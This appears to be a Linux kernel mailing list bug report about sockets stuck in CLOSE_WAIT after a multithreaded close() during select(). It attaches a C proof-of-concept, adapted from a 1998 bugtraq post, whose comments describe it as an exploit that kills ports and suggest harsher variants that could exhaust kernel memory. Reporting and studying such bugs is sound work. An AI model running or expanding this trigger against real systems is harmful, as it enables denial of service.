Hi all, I suppect that there is bug in both kernel 2.2.19 and 2.4.5. The situation is as follow. One server socket created and listening, blocking on select(), once a client connect to that port, there is another thread in server side issues a close() to the new connection. After the client close the connection. The connection in server side will stuck on CLOSE_WAIT forever until the program being killed. I have attached a program to trigger the bug. The program is written base on a bugtraq post on this link: http://archives.indenial.com/hypermail/bugtraq/1999/January1999/0015.html This is the output of "netstat -anop": tcp 1 0 127.0.0.1:52882 127.0.0.1:1031 CLOSE_WAIT - off (0.00/0/0) tcp 1 0 127.0.0.1:52882 127.0.0.1:1030 CLOSE_WAIT - off (0.00/0/0) You can see that there is no owner and the timer is off. I encounter this in my server program and the CLOSE_WAIT thread eat up all the resource as it cannot be released. I have tried this on kernel 2.2.16, 2.2.19, 2.4.5 and using gcc version 2.96 20000731 (Red Hat Linux 7.0), all this have such problem. I am new to kernel hacking. I don't know whether this is a bug or not. Please correct me if I am doing something wrong and forgive my poor description. :) Thanks Dicky PS. Please CC: [EMAIL PROTECTED] when reply.
// This program will kill a random port on a linux machine. The kernel will // forever listen to that port and send the connections nowhere. Tested with // Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile, // but removing LinuxThreads from your system will not solve the problem. // The bug is triggered when a multithreaded program closes a socket from // one thread while another thread is selecting on it. A subsequent abort // leaves the socket in never-never land. // Do not underestimate the risk of this exploit. While this program // is mild, more vicious programs could lock large numbers of ports or // replicate this same attack on an active connection with large // send/receive buffers full of data. This could cause large increases // in kernel memory consumption. // Discovered by David J. Schwartz <[EMAIL PROTECTED]> // Copyright (C) 1998, David J. Schwartz // Note: This bug was not fixed in 2.0.36, as I was told it would be // Compile with: // gcc CLOSE_WAIT_test.c -lpthread -o CLOSE_WAIT_test #include <pthread.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdlib.h> #include <arpa/inet.h> #include <errno.h> volatile int s; volatile int sock; volatile int connected=0; void *Thread1(void *a) { int i,p; struct sockaddr_in to; fd_set fd; s=socket(AF_INET, SOCK_STREAM, 0); if(s<=0) return; memset(&to, 0, sizeof(to)); srand(getpid()); /* we pick a random port between 50000 and 59999 */ p=(rand()%10000)+50000; printf("port = %d\n", p); fflush(stdout); to.sin_port=htons(p); to.sin_addr.s_addr=0; to.sin_family=AF_INET; if(bind(s, (struct sockaddr *)&to, sizeof(to))<0) fprintf(stderr,"no bind\n"); if(listen(s,10)!=0) fprintf(stderr,"No Listen\n"); /* now we are listening on that port */ i=sizeof(to); FD_ZERO(&fd); FD_SET(s,&fd); fprintf(stdout,"Listening, before select\n"); fprintf(stdout,"Please connect to port %d now\n", p); select(s+1,&fd,NULL,NULL,NULL); /* at this point we have selected on it as well */ fprintf(stderr,"select returned!\n"); if (FD_ISSET(s, &fd)) { fprintf(stdout, "socket is set\n"); sock = accept(s, NULL, NULL); fprintf(stdout, "accepted\n"); FD_SET(sock, &fd); fprintf(stdout, "FD_SET ok\n"); connected = 1; fprintf(stdout,"\nListening, before select\n"); select(sock+1, &fd, NULL, NULL, NULL); fprintf(stdout, "select returned\n"); } else { fprintf(stderr, "Error : fd not set\n"); exit(1); } } void *Thread2(void *a) { fprintf(stdout,"Thread2 : before close the client socket\n"); close(sock); fprintf(stdout,"Thread2 : after close the client socket\n\n\n"); fprintf(stdout,"Please close the remote session and check the result\n"); fflush(stderr); // abort(); } void main(void) { pthread_t j; pthread_create(&j,NULL,Thread1,NULL); while (connected == 0) usleep(1000); /* give the other thread time to finish */ pthread_create(&j,NULL,Thread2,NULL); while(1) sleep(1); }